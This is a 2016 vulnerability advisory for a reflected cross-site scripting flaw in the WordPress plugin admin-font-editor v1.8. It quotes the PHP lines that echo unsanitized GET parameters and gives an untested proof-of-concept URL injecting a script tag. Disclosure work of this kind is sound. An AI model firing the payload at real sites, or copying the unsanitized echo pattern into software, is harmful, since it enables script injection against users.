Advisory #: 526
Title: Reflected XSS in wordpress plugin admin-font-editor v1.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/admin-font-editor
Downloads: 16018
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: admin-font-editor
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./admin-font-editor/css.php: 3: font-size: <?php echo $_GET['size'];?>px; 4: font-family: <?php echo $_GET['font'];?>; The variable size appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000126
File:./admin-font-editor/css.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/admin-font-editor/css.php?size="><script>alert(1);</script><"